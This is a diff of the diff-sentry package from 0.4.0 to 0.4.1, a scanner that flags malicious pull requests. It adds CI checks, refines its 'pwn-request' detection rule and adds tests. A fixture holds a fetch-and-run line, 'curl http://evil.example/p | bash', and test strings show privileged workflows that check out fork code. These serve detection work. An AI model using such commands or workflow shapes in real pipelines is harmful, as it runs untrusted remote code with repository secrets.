diff-sentry 0.4.0__tar.gz → 0.4.1__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (100) hide show
  1. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/.github/workflows/ci.yml +28 -0
  2. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/.github/workflows/release.yml +9 -4
  3. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/CHANGELOG.md +30 -0
  4. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/PKG-INFO +5 -6
  5. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/README.md +3 -4
  6. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/action.yml +10 -6
  7. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/diff_sentry/__init__.py +1 -1
  8. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/diff_sentry/indicators.py +56 -5
  9. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/pyproject.toml +1 -1
  10. diff_sentry-0.4.1/tests/fixtures/known-malicious.diff +1 -0
  11. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/tests/test_indicators.py +45 -0
  12. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/uv.lock +1 -1
  13. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/.claude/rules/handoff.md +0 -0
  14. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/.env.example +0 -0
  15. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/.gitignore +0 -0
  16. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/.python-version +0 -0
  17. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/CLAUDE.md +0 -0
  18. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/LICENSE +0 -0
  19. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/VENDOR.md +0 -0
  20. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/diff_sentry/__main__.py +0 -0
  21. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/diff_sentry/assemble.py +0 -0
  22. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/diff_sentry/cli.py +0 -0
  23. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/diff_sentry/config.py +0 -0
  24. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/diff_sentry/deep_classify.py +0 -0
  25. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/diff_sentry/detect.py +0 -0
  26. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/diff_sentry/emit.py +0 -0
  27. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/diff_sentry/fetch_tool.py +0 -0
  28. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/diff_sentry/ingest.py +0 -0
  29. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/diff_sentry/normalize.py +0 -0
  30. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/diff_sentry/response.py +0 -0
  31. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/diff_sentry/rl_export.py +0 -0
  32. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/diff_sentry/rubric.py +0 -0
  33. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/diff_sentry/schema.py +0 -0
  34. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/diff_sentry/skills/ci-injection-patterns.md +0 -0
  35. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/diff_sentry/skills/prompt-injection-catalog.md +0 -0
  36. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/diff_sentry/skills/triage-a-change.md +0 -0
  37. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/eval/README.md +0 -0
  38. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/eval/diff_sentry_eval/__init__.py +0 -0
  39. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/eval/diff_sentry_eval/__main__.py +0 -0
  40. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/eval/diff_sentry_eval/cli.py +0 -0
  41. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/eval/diff_sentry_eval/judge.py +0 -0
  42. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/eval/diff_sentry_eval/schema.py +0 -0
  43. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/eval/diff_sentry_eval/score.py +0 -0
  44. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/eval/diff_sentry_eval/taskset.py +0 -0
  45. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/eval/pyproject.toml +0 -0
  46. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/eval/taskset.example.json +0 -0
  47. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/eval/tests/conftest.py +0 -0
  48. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/eval/tests/test_boundary.py +0 -0
  49. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/eval/tests/test_cli.py +0 -0
  50. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/eval/tests/test_judge.py +0 -0
  51. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/eval/tests/test_schema.py +0 -0
  52. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/eval/tests/test_score.py +0 -0
  53. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/eval/tests/test_taskset.py +0 -0
  54. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/studio/DESIGN.md +0 -0
  55. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/studio/README.md +0 -0
  56. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/studio/diff_sentry_studio/__init__.py +0 -0
  57. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/studio/diff_sentry_studio/app.py +0 -0
  58. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/studio/diff_sentry_studio/iterations.py +0 -0
  59. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/studio/diff_sentry_studio/live.py +0 -0
  60. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/studio/diff_sentry_studio/mapper.py +0 -0
  61. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/studio/pyproject.toml +0 -0
  62. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/studio/static/app.js +0 -0
  63. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/studio/static/index.html +0 -0
  64. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/studio/static/replay-core.js +0 -0
  65. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/studio/static/run-core.js +0 -0
  66. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/studio/static/style.css +0 -0
  67. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/studio/static/trajectory.js +0 -0
  68. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/studio/static/vendor/fonts/jetbrains-mono-400.woff2 +0 -0
  69. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/studio/static/vendor/fonts/jetbrains-mono-700.woff2 +0 -0
  70. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/studio/tests/replay-core.test.js +0 -0
  71. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/studio/tests/run-core.test.js +0 -0
  72. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/studio/tests/static-contract.test.js +0 -0
  73. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/studio/tests/test_app.py +0 -0
  74. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/studio/tests/test_iterations.py +0 -0
  75. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/studio/tests/test_live.py +0 -0
  76. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/studio/tests/test_mapper.py +0 -0
  77. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/studio/tests/trajectory.test.js +0 -0
  78. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/tests/__init__.py +0 -0
  79. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/tests/conftest.py +0 -0
  80. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/tests/corpus/change_corpus.json +0 -0
  81. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/tests/corpus/hackerbot_claw_incident.json +0 -0
  82. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/tests/test_assemble.py +0 -0
  83. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/tests/test_cli.py +0 -0
  84. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/tests/test_config.py +0 -0
  85. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/tests/test_deep_classify.py +0 -0
  86. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/tests/test_detect.py +0 -0
  87. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/tests/test_detection_quality.py +0 -0
  88. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/tests/test_emit.py +0 -0
  89. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/tests/test_export.py +0 -0
  90. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/tests/test_fetch_tool.py +0 -0
  91. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/tests/test_forward_offline.py +0 -0
  92. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/tests/test_incident_hackerbot_claw.py +0 -0
  93. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/tests/test_ingest.py +0 -0
  94. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/tests/test_injection_offline.py +0 -0
  95. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/tests/test_normalize.py +0 -0
  96. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/tests/test_provenance.py +0 -0
  97. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/tests/test_response.py +0 -0
  98. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/tests/test_rubric.py +0 -0
  99. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/tests/test_schema.py +0 -0
  100. {diff_sentry-0.4.0 → diff_sentry-0.4.1}/tests/test_subscription.py +0 -0
@@ -102,6 +102,34 @@ jobs:
102
102
  eval/diff_sentry_eval/taskset.py
103
103
  *.md
104
104
 
105
+ # The self-scan job above runs with `version: local` on purpose, so it scans a PR with the rules IN
106
+ # that PR. That leaves the path a CONSUMER actually takes -- `uvx diff-sentry==<released>` from PyPI --
107
+ # covered by nothing: a quoting or resolution bug there would break every install while our own CI
108
+ # stayed green. This job exercises exactly that line against a known-malicious fixture.
109
+ consumer-install:
110
+ name: consumer install path (PyPI)
111
+ runs-on: ubuntu-latest
112
+ steps:
113
+ - uses: actions/checkout@v4
114
+ - name: Install uv
115
+ uses: astral-sh/setup-uv@d4b2f3b6ecc6e67c4457f6d3e41ec42d3d0fcb86 # v5.4.2
116
+ with:
117
+ enable-cache: true
118
+ - name: The released package installs from PyPI and flags a malicious diff
119
+ run: |
120
+ set -euo pipefail
121
+ ver=$(uv run --no-project --with pyyaml python -c \
122
+ "import yaml;print(yaml.safe_load(open('action.yml'))['inputs']['version']['default'])")
123
+ echo "action.yml default version: $ver"
124
+ # The fixture lives under tests/ (a report-only path) rather than inline here. This file is in
125
+ # the GATED half, so a payload written into it fails our own scan -- which is exactly what
126
+ # happened to the first version of this job. Payload samples belong where payloads are allowed.
127
+ # Must exit non-zero: a package that installs but scans nothing would otherwise pass silently.
128
+ if uvx "diff-sentry==${ver}" scan tests/fixtures/known-malicious.diff; then
129
+ echo "::error::the published package did not flag a known-malicious diff"
130
+ exit 1
131
+ fi
132
+
105
133
  lint:
106
134
  name: ruff
107
135
  runs-on: ubuntu-latest
@@ -57,9 +57,14 @@ jobs:
57
57
  tag="${TAG#v}"
58
58
  wheel=$(basename dist/*.whl | cut -d- -f2)
59
59
  installed=$(/tmp/smoke/bin/python -c "import diff_sentry; print(diff_sentry.__version__)")
60
- echo "tag=$tag wheel=$wheel installed=$installed"
61
- if [ "$tag" != "$wheel" ] || [ "$wheel" != "$installed" ]; then
62
- echo "::error::version mismatch — tag=$tag wheel=$wheel installed=$installed"
60
+ # action.yml's `version` default decides which release a consumer's `uses: …@vX.Y.Z` actually
61
+ # runs. Left stale it is silent and nasty: the new action tag would install an OLD scanner, so
62
+ # a user who upgraded to get a new rule would not get it and nothing would say so.
63
+ action=$(/tmp/smoke/bin/python -c "import yaml;print(yaml.safe_load(open('action.yml'))['inputs']['version']['default'])" 2>/dev/null \
64
+ || uv run --no-project --with pyyaml python -c "import yaml;print(yaml.safe_load(open('action.yml'))['inputs']['version']['default'])")
65
+ echo "tag=$tag wheel=$wheel installed=$installed action.yml=$action"
66
+ if [ "$tag" != "$wheel" ] || [ "$wheel" != "$installed" ] || [ "$installed" != "$action" ]; then
67
+ echo "::error::version mismatch — tag=$tag wheel=$wheel installed=$installed action.yml=$action"
63
68
  exit 1
64
69
  fi
65
70
 
@@ -95,4 +100,4 @@ jobs:
95
100
  name: dist
96
101
  path: dist/
97
102
  - name: Publish to PyPI
98
- uses: pypa/gh-action-pypi-publish@cef221092ed1bacb1cc03d23a2d87d1d172e277b # v1.14.0
103
+ uses: pypa/gh-action-pypi-publish@dc37677b2e1c63e2034f94d8a5b11f265b73ba33 # v1.14.2
@@ -5,6 +5,36 @@ malicious intent — the diff held as **untrusted data** in a sandboxed REPL, a
5
5
  and deterministic indicator evidence unioned on read into a SIEM signal — as a traced, improvable RLM
6
6
  framework on [`rlm-harness`](https://github.com/qazbnm456/rlm-harness) (a BewAIre-style detector).
7
7
 
8
+ ## 0.4.1
9
+
10
+ A correctness release for one rule: `pwn-request` was failing the very pattern this
11
+ project's README tells people to use.
12
+
13
+ ### Changed
14
+ - **`pypa/gh-action-pypi-publish` bumped to v1.14.2** (from v1.14.0). `uv build` now emits core
15
+ metadata 2.5, and the twine bundled in v1.14.0 rejects it — `InvalidDistribution: '2.5' is not a
16
+ valid metadata version` — so the first attempt at this release built cleanly and then failed at
17
+ the upload step. v1.14.2 carries Twine 7, which accepts metadata 2.5.
18
+
19
+ ### Fixed
20
+ - **`pwn-request` no longer fires on a workflow that merely READS the PR head.** The rule paired a
21
+ privileged trigger with a PR-HEAD *mention* anywhere in the text and called that a checkout, so the
22
+ validating-publisher shape — `workflow_run`, head SHA in an env var, checkout pinned to the default
23
+ branch — was graded `critical`, identically to the attack. That is the shape README.md tells people to
24
+ use, next to the sentence "diff-sentry's own rules make the same distinction, so the safe shape does
25
+ not trip them"; it did trip them. Escalation now requires the expression to actually reach a checkout:
26
+ an `actions/checkout` `ref:` value, or a `git checkout`/`git fetch`/`gh pr checkout` command. A bare
27
+ mention keeps the sub-floor `medium` `privileged-fork-trigger`, cited at the reference rather than the
28
+ trigger line so a reviewer still lands on the spot worth reading. Found by running the action against
29
+ a real publisher workflow.
30
+ - **`pwn-request` now follows one binding hop.** `HEAD: ${{ github.event.pull_request.head.sha }}`
31
+ followed by `ref: ${{ env.HEAD }}` is the same attack split across two lines. Requiring the expression
32
+ to sit on the `ref:` line would have turned the fix above into a free bypass, so a name bound to the
33
+ head expression is tracked and a `ref:` that reads it counts as the checkout.
34
+ - **`refs/pull/…` matching tolerates interpolation.** `refs/pull/${{ github.event.number }}/head` — the
35
+ form that actually appears in the wild — was missed, because the character class stopped at the space
36
+ inside the expression. A hand-rolled `git fetch` of the PR head is caught now.
37
+
8
38
  ## 0.4.0
9
39
 
10
40
  The first release, and a repositioning: the front door is now a GitHub Action anyone installs in fifteen
@@ -1,6 +1,6 @@
1
- Metadata-Version: 2.4
1
+ Metadata-Version: 2.5
2
2
  Name: diff-sentry
3
- Version: 0.4.0
3
+ Version: 0.4.1
4
4
  Summary: Catch malicious pull requests before they merge: scan a diff for supply-chain attack patterns with deterministic evidence a model cannot suppress.
5
5
  Author: Boik Su
6
6
  License-Expression: MIT
@@ -44,11 +44,10 @@ jobs:
44
44
  - uses: actions/checkout@v4
45
45
  with:
46
46
  fetch-depth: 0 # the scan diffs against the PR base
47
- - uses: qazbnm456/diff-sentry@main
47
+ - uses: qazbnm456/diff-sentry@v0.4.1
48
48
  ```
49
49
 
50
- That is the whole setup. The job fails when an indicator at or above `high` fires. Pin to a released
51
- tag rather than `main` once you depend on it.
50
+ That is the whole setup. The job fails when an indicator at or above `high` fires.
52
51
 
53
52
  ## What it catches
54
53
 
@@ -79,7 +78,7 @@ payload does not flag the change that removes it.
79
78
  | `fail-on` | `high` | Severity that fails the build (`info`/`low`/`medium`/`high`/`critical`). |
80
79
  | `report-only-paths` | none | Newline-separated globs scanned but never gated. For files whose job is to carry attack patterns: rule bodies, security fixtures, prompt templates, docs that tabulate payloads. |
81
80
  | `base-sha` | derived | Override the commit to diff against. |
82
- | `version` | `main` | The diff-sentry ref to run. Pin it for reproducible CI. `local` installs from the current checkout, which is how this repo scans its own PRs with the rules in that PR. |
81
+ | `version` | matches the action tag | The diff-sentry release to install from PyPI. `local` installs from the current checkout instead, which is how this repo scans its own PRs with the rules in that PR. |
83
82
 
84
83
  Outputs: `failed`, `hit-count`, `max-severity`, and `report` (a JSON path).
85
84
 
@@ -23,11 +23,10 @@ jobs:
23
23
  - uses: actions/checkout@v4
24
24
  with:
25
25
  fetch-depth: 0 # the scan diffs against the PR base
26
- - uses: qazbnm456/diff-sentry@main
26
+ - uses: qazbnm456/diff-sentry@v0.4.1
27
27
  ```
28
28
 
29
- That is the whole setup. The job fails when an indicator at or above `high` fires. Pin to a released
30
- tag rather than `main` once you depend on it.
29
+ That is the whole setup. The job fails when an indicator at or above `high` fires.
31
30
 
32
31
  ## What it catches
33
32
 
@@ -58,7 +57,7 @@ payload does not flag the change that removes it.
58
57
  | `fail-on` | `high` | Severity that fails the build (`info`/`low`/`medium`/`high`/`critical`). |
59
58
  | `report-only-paths` | none | Newline-separated globs scanned but never gated. For files whose job is to carry attack patterns: rule bodies, security fixtures, prompt templates, docs that tabulate payloads. |
60
59
  | `base-sha` | derived | Override the commit to diff against. |
61
- | `version` | `main` | The diff-sentry ref to run. Pin it for reproducible CI. `local` installs from the current checkout, which is how this repo scans its own PRs with the rules in that PR. |
60
+ | `version` | matches the action tag | The diff-sentry release to install from PyPI. `local` installs from the current checkout instead, which is how this repo scans its own PRs with the rules in that PR. |
62
61
 
63
62
  Outputs: `failed`, `hit-count`, `max-severity`, and `report` (a JSON path).
64
63
 
@@ -35,12 +35,16 @@ inputs:
35
35
  default: ''
36
36
  version:
37
37
  description: >-
38
- The diff-sentry version to run: a git ref while the package is pre-PyPI, so
39
- pin it for reproducible CI. The special value `local` installs from the
40
- current checkout instead, which is what this repo's own CI uses so that a PR
41
- is scanned by the rules IN that PR rather than by the ones already on main.
38
+ The diff-sentry release to install from PyPI. Defaults to the version that
39
+ ships with this action tag, so `uses: …@vX.Y.Z` and the package it runs stay
40
+ in step. The special value `local` installs from the current checkout instead,
41
+ which is what this repo's own CI uses so that a PR is scanned by the rules IN
42
+ that PR rather than by the ones already on main.
42
43
  required: false
43
- default: 'main'
44
+ # KEEP IN STEP WITH [project].version. release.yml fails the build if this drifts
45
+ # from the tag being released, because a stale default here would silently run an
46
+ # old scanner under a new action tag.
47
+ default: '0.4.1'
44
48
 
45
49
  outputs:
46
50
  failed:
@@ -120,7 +124,7 @@ runs:
120
124
  if [ "$IN_VERSION" = "local" ]; then
121
125
  SENTRY=(uvx --from "$GITHUB_WORKSPACE" diff-sentry)
122
126
  else
123
- SENTRY=(uvx --from "git+https://github.com/qazbnm456/diff-sentry@${IN_VERSION}" diff-sentry)
127
+ SENTRY=(uvx "diff-sentry==${IN_VERSION}")
124
128
  fi
125
129
 
126
130
  set +e
@@ -68,7 +68,7 @@ __all__ = [
68
68
  "detect_from_event",
69
69
  ]
70
70
 
71
- __version__ = "0.4.0"
71
+ __version__ = "0.4.1"
72
72
 
73
73
 
74
74
  def __getattr__(name: str): # PEP 562 — defer the dspy import to first use
@@ -127,9 +127,36 @@ _WRITE_ALL_RE = re.compile(r"^[+ ]?\s*permissions\s*:\s*write-all\b", re.IGNOREC
127
127
  # AsyncAPI "Miasma" supply-chain compromise (a fork PR harvested the org-admin token out of the runner),
128
128
  # and it has no safe reading → `critical`.
129
129
  _PRIV_TRIGGER_RE = re.compile(r"^[+ ]?\s*(?:pull_request_target|workflow_run)\s*:", re.MULTILINE)
130
- _PR_HEAD_REF_RE = re.compile(
131
- r"github\.event\.pull_request\.head\.(?:sha|ref)|github\.event\.workflow_run\.head_(?:sha|branch)|"
132
- r"refs/pull/[^\s\"']*/(?:head|merge)", re.IGNORECASE)
130
+
131
+ # The PR-HEAD expressions themselves, shared by the two patterns below — which differ only in what they
132
+ # require the expression to DO. A bare MENTION is not a checkout: the recommended `workflow_run`
133
+ # publisher (the safe way to comment on a fork PR, since `pull_request` hands forks a read-only token)
134
+ # reads `workflow_run.head_sha` precisely to VALIDATE the artifact it was given, and gating on the
135
+ # mention alone failed that pattern exactly as hard as the attack it is meant to catch.
136
+ _PR_HEAD_EXPR = (r"github\.event\.pull_request\.head\.(?:sha|ref)"
137
+ r"|github\.event\.workflow_run\.head_(?:sha|branch)"
138
+ # The interpolated form `refs/pull/${{ github.event.number }}/head` is the one that
139
+ # actually appears in the wild; a bare `[^\s"']*` stops at the space inside the
140
+ # expression, so the interpolation blob is spelled out as its own alternative.
141
+ r"|refs/pull/(?:\$\{\{[^{}]*\}\}|[^\s\"'])*/(?:head|merge)")
142
+ _PR_HEAD_REF_RE = re.compile(_PR_HEAD_EXPR, re.IGNORECASE)
143
+
144
+ # The expression BECOMING a checkout: an `actions/checkout` `ref:` value, or a git/gh command that
145
+ # fetches or checks it out.
146
+ _PR_HEAD_CHECKOUT_RE = re.compile(
147
+ rf"^[+ ]?\s*ref\s*:[^\n]*(?:{_PR_HEAD_EXPR})"
148
+ rf"|(?:git\s+(?:checkout|fetch|pull)|gh\s+pr\s+checkout)[^\n]*(?:{_PR_HEAD_EXPR})",
149
+ re.IGNORECASE | re.MULTILINE)
150
+
151
+ # One hop of indirection — the same lethal shape written as two lines:
152
+ # HEAD: ${{ github.event.pull_request.head.sha }} … ref: ${{ env.HEAD }}
153
+ # Matching only the direct form would leave that as a trivial bypass, so a name bound to the head
154
+ # expression is tracked and a `ref:` that reads it counts as the checkout.
155
+ _HEAD_BINDING_RE = re.compile(
156
+ rf"^[+ ]?\s*([A-Za-z_][A-Za-z0-9_-]*)\s*[:=]\s*[^\n]*(?:{_PR_HEAD_EXPR})",
157
+ re.IGNORECASE | re.MULTILINE)
158
+ _REF_VALUE_RE = re.compile(r"^[+ ]?\s*ref\s*:\s*([^\n]*)", re.IGNORECASE | re.MULTILINE)
159
+ _IDENT_RE = re.compile(r"[A-Za-z_][A-Za-z0-9_-]*")
133
160
 
134
161
  # Diff-PRESENTATION evasion — attacks aimed at the human reading the diff, not at the runtime. Miasma
135
162
  # prepended ~700 spaces to shove its payload off the right edge of a standard diff viewer. No source
@@ -281,16 +308,40 @@ def _scan_workflow_perms(text: str) -> list[IndicatorHit]:
281
308
  for m in _WRITE_ALL_RE.finditer(text)]
282
309
 
283
310
 
311
+ def _pr_head_checkout(text: str) -> re.Match[str] | None:
312
+ """Where a PR-HEAD expression actually reaches a checkout — directly, or through one binding."""
313
+ direct = _PR_HEAD_CHECKOUT_RE.search(text)
314
+ if direct:
315
+ return direct
316
+ # `ref:` is not a binding — a `ref:` holding the expression IS the direct case above.
317
+ bound = {m.group(1).lower() for m in _HEAD_BINDING_RE.finditer(text)} - {"ref"}
318
+ if not bound:
319
+ return None
320
+ for m in _REF_VALUE_RE.finditer(text):
321
+ if any(name.lower() in bound for name in _IDENT_RE.findall(m.group(1))):
322
+ return m
323
+ return None
324
+
325
+
284
326
  def _scan_workflow_config(text: str) -> list[IndicatorHit]:
285
327
  """What a workflow BECOMES, not merely that one was touched (`workflow-tamper`'s job)."""
286
328
  trigger = _PRIV_TRIGGER_RE.search(text)
287
329
  if not trigger:
288
330
  return []
289
- head = _PR_HEAD_REF_RE.search(text)
290
- if head:
331
+ checkout = _pr_head_checkout(text)
332
+ if checkout:
291
333
  return [_hit("pwn-request", "critical",
292
334
  "privileged fork trigger checks out the PR HEAD — untrusted code with the base "
293
335
  "repo's token/secrets",
336
+ _snip(text, checkout.start(), checkout.end()))]
337
+ head = _PR_HEAD_REF_RE.search(text)
338
+ if head:
339
+ # Reads the head ref without checking it out. That is the validating-publisher shape, which is
340
+ # the RECOMMENDED way to comment on a fork PR — so it stays sub-floor, but it is cited rather
341
+ # than the trigger line, because this is the spot a reviewer should look at.
342
+ return [_hit("privileged-fork-trigger", "medium",
343
+ "`pull_request_target`/`workflow_run` reads the PR HEAD without checking it out — "
344
+ "confirm the ref never reaches a checkout",
294
345
  _snip(text, head.start(), head.end()))]
295
346
  return [_hit("privileged-fork-trigger", "medium",
296
347
  "`pull_request_target`/`workflow_run` — a fork PR runs in a privileged context",
@@ -1,6 +1,6 @@
1
1
  [project]
2
2
  name = "diff-sentry"
3
- version = "0.4.0"
3
+ version = "0.4.1"
4
4
  description = "Catch malicious pull requests before they merge: scan a diff for supply-chain attack patterns with deterministic evidence a model cannot suppress."
5
5
  readme = "README.md"
6
6
  requires-python = ">=3.11"
@@ -0,0 +1 @@
1
+ +run: curl http://evil.example/p | bash
@@ -104,6 +104,26 @@ _PWN = ("on:\n pull_request_target:\n types: [opened]\njobs:\n p:\n step
104
104
  " ref: ${{ github.event.pull_request.head.sha }}\n")
105
105
  _LABEL_BOT = "on:\n pull_request_target:\n types: [opened]\njobs:\n l:\n steps:\n - uses: actions/labeler@v5\n"
106
106
 
107
+ # The RECOMMENDED way to comment on a fork PR: `pull_request` hands a fork a read-only token, so the
108
+ # verdict is produced by an unprivileged run and published from `workflow_run`, which reads the head SHA
109
+ # only to CHECK that the artifact belongs to the PR it claims. It checks out the default branch.
110
+ _SAFE_PUBLISHER = (
111
+ "on:\n workflow_run:\n workflows: [\"PR auto-review\"]\n types: [completed]\n"
112
+ "permissions:\n pull-requests: write\njobs:\n publish:\n steps:\n"
113
+ " - uses: actions/checkout@v4\n with:\n"
114
+ " ref: ${{ github.event.repository.default_branch }}\n"
115
+ " - run: python3 scripts/publish.py\n env:\n"
116
+ " EXPECTED_SHA: ${{ github.event.workflow_run.head_sha }}\n")
117
+ # The same lethal shape as _PWN, written across two lines to dodge a single-line match.
118
+ _PWN_INDIRECT = (
119
+ "on:\n pull_request_target:\n types: [opened]\nenv:\n"
120
+ " HEAD_REF: ${{ github.event.pull_request.head.sha }}\njobs:\n p:\n steps:\n"
121
+ " - uses: actions/checkout@v4\n with:\n ref: ${{ env.HEAD_REF }}\n")
122
+ # Checkout by hand rather than through actions/checkout.
123
+ _PWN_GIT_FETCH = (
124
+ "on:\n pull_request_target:\n types: [opened]\njobs:\n p:\n steps:\n"
125
+ " - run: git fetch origin refs/pull/${{ github.event.number }}/head && git checkout FETCH_HEAD\n")
126
+
107
127
 
108
128
  def test_pwn_request_is_critical_but_bare_privileged_trigger_is_sub_floor():
109
129
  """The root cause of Miasma. `pull_request_target` PLUS a PR-head checkout runs attacker code with
@@ -118,6 +138,31 @@ def test_pwn_request_is_critical_but_bare_privileged_trigger_is_sub_floor():
118
138
  assert trig and trig[0].severity == "medium"
119
139
 
120
140
 
141
+ def test_pwn_request_needs_a_checkout_not_a_mention():
142
+ """Reading the PR head is not checking it out. The validating publisher — `workflow_run`, head SHA
143
+ in an env var, checkout pinned to the default branch — is the pattern GitHub recommends for fork
144
+ PRs, and it must not be graded as the attack it exists to avoid. It stays a sub-floor `medium`,
145
+ cited at the head reference so a reviewer still looks there."""
146
+ hits = scan_indicators(_SAFE_PUBLISHER)
147
+ assert "pwn-request" not in _rules(hits)
148
+ trig = [h for h in hits if h.rule == "privileged-fork-trigger"]
149
+ assert trig and trig[0].severity == "medium"
150
+ assert "workflow_run.head_sha" in trig[0].evidence
151
+
152
+
153
+ def test_pwn_request_follows_one_binding_hop():
154
+ """`ref:` reading a name bound to the head expression elsewhere in the file is the same attack with
155
+ an extra line. Requiring the expression to sit ON the `ref:` line would make that a free bypass."""
156
+ hits = [h for h in scan_indicators(_PWN_INDIRECT) if h.rule == "pwn-request"]
157
+ assert hits and hits[0].severity == "critical"
158
+
159
+
160
+ def test_pwn_request_catches_a_hand_rolled_checkout():
161
+ """The dangerous fetch does not have to go through actions/checkout."""
162
+ hits = [h for h in scan_indicators(_PWN_GIT_FETCH) if h.rule == "pwn-request"]
163
+ assert hits and hits[0].severity == "critical"
164
+
165
+
121
166
  def test_detects_whitespace_shove_wherever_it_sits():
122
167
  """Miasma PREPENDED ~700 spaces to push the payload off the diff viewport. A run that size mid-line
123
168
  conceals just as well, so the rule is not line-anchored — but ordinary indentation must stay silent."""
@@ -513,7 +513,7 @@ wheels = [
513
513
 
514
514
  [[package]]
515
515
  name = "diff-sentry"
516
- version = "0.4.0"
516
+ version = "0.4.1"
517
517
  source = { editable = "." }
518
518
  dependencies = [
519
519
  { name = "httpx" },
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes